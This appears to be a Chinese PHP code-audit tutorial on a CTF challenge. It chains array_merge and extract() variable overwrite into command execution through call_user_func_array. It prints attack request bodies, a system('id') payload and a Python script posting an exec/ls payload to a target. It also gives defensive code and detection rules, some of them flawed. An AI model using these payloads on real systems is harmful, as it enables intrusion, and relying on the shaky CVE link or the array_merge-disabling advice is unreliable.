PHP代码审计实战:从extract与array_merge到RCE的3种变量覆盖链构造 PHP代码审计实战从变量覆盖到RCE的完整攻击链剖析1. 漏洞背景与核心原理在PHP应用安全领域变量覆盖漏洞常被开发者忽视却可能引发严重后果。本次分析的案例源自GFCTF 2021的一道赛题涉及CVE-2021-41773漏洞与PHP变量覆盖的巧妙结合最终实现远程代码执行RCE。漏洞链核心环节array_merge变量覆盖通过用户可控数据覆盖类属性extract函数滥用将数组元素转换为当前作用域变量动态函数调用利用call_user_func_array执行任意函数典型攻击流程如下用户输入 → array_merge覆盖 → extract变量注入 → 模板路径控制 → 包含恶意文件 → call_user_func_array执行2. 关键函数深度解析2.1 array_merge的安全隐患private $date [version1.0, img...]; public function __construct($data){ $this-date array_merge($this-date, $data); }风险点分析当$data包含与$this-date相同的键时后者值会被覆盖未做输入过滤导致攻击者可控制类内部状态对比测试$default [keysafe, adminfalse]; $userInput [keyhacked, admintrue]; // 危险操作 $result array_merge($default, $userInput); // [keyhacked, admintrue]2.2 extract的致命威胁public function display($template, $space){ extract($this-date); // 将数组键值转为变量 $this-getTempName($template, $space); include($this-template); }攻击面扩展通过控制$this-date可注入任意变量结合后续的include可能造成文件包含漏洞安全建议永远不要在包含用户输入的数组上使用extract()如需类似功能可使用EXTR_SKIP等安全模式3. 完整攻击链构造3.1 第一阶段变量控制攻击步骤通过POST传入精心构造的数组POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded templateindex.htmlspaceadminmod恶意payloadarray_merge实现属性覆盖$this-date [ template index.html, space admin, mod 恶意payload ];3.2 第二阶段流程劫持// 原始安全路径 ./template/index.html → 安全页面 // 攻击者控制后 ./template/admin/index.html → 危险功能入口路径跳转关键if($dir admin){ $this-template str_replace(..,,./template/admin/.$template); }3.3 第三阶段RCE实现通过listdata方法的参数解析漏洞构造特殊格式的输入modxxx actionfunction namesystem param0id代码执行流程参数解析为$system[action] function检查$param[name]是否为合法函数通过call_user_func_array执行call_user_func_array(system, [id])4. 三种典型攻击场景对比场景类型利用函数输入要求防御难度直接函数调用call_user_func控制单个函数名★★☆☆☆数组参数调用call_user_func_array控制函数名参数数组★★★☆☆文件包含RCEinclude动态函数需要多环节变量控制★★★★☆实战payload示例import requests TARGET http://victim.com/index.php PAYLOAD { template: index.html, space: admin, mod: actionfunction nameexec param0ls } response requests.post(TARGET, dataPAYLOAD, params{filename: test}) print(response.text)5. 系统化防御方案5.1 代码层防护危险函数禁用清单// php.ini配置 disable_functions extract, parse_str, array_merge安全编码实践// 安全的数组合并方式 public function safeMerge($default, $input) { return array_intersect_key( array_merge($default, $input), $default ); }5.2 架构层防护输入验证层class InputValidator { public static function cleanArray($data) { return array_filter($data, function($v, $k) { return is_scalar($v) preg_match(/^[a-z_]$/, $k); }, ARRAY_FILTER_USE_BOTH); } }执行沙箱class SafeFunction { private static $allowed [htmlspecialchars, json_encode]; public static function call($name, $args) { if(in_array($name, self::$allowed)) { return call_user_func_array($name, $args); } throw new SecurityException(Function not allowed); } }6. 审计方法论进阶6.1 变量跟踪技术逆向追踪call_user_func_array ← $param[name] ← $params数组 ← $_params字符串 ← $mod变量 ← extract注入敏感函数清单变量操作extract, parse_str, compact动态执行eval, assert, call_user_func文件包含include, require6.2 自动化检测思路正则匹配模式/(extract|parse_str)\s*\(.*\$_/静态分析规则示例rule: unsafe_array_merge pattern: | array_merge\(.*\$(_(GET|POST|REQUEST|COOKIE)|argv) severity: HIGH message: Unsafe array_merge with user input在实际项目中我曾遇到类似案例一个CMS系统的模板引擎因未过滤extract参数导致攻击者通过Cookie注入覆盖了管理员校验变量。这提醒我们安全审计必须关注数据在整个生命周期中的流动路径。